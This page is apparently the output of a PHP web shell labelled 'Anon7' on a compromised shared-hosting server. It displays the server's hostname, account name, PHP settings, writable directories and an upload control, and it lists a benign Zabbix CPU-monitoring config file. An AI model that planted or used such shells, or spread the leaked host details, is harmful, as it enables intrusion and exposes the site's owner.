KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache
System : Linux cs317.bluehost.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : andertr9 ( 1047)
PHP Version : 8.2.18
Disable Function : NONE
Directory :  /etc/zabbix/zabbix_agentd.d/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //etc/zabbix/zabbix_agentd.d/userparameter_hgcpu.conf
UserParameter=eig.cpuperc[*],/bin/ps h -C \$1 -o %cpu | awk '{ SUM += $$1} END {print SUM}'
UserParameter=eig.cputime[*],/bin/ps h -C \$1 -o time | awk '{ split($$1, A, ":"); split(A[1], B, "-"); $$2=A[3] + (A[2]*60) + (B[2]*3600)+(B[1]*3600*24) } 1' | awk '{ SUM += $$2} END {print SUM}'

Anon7 - 2021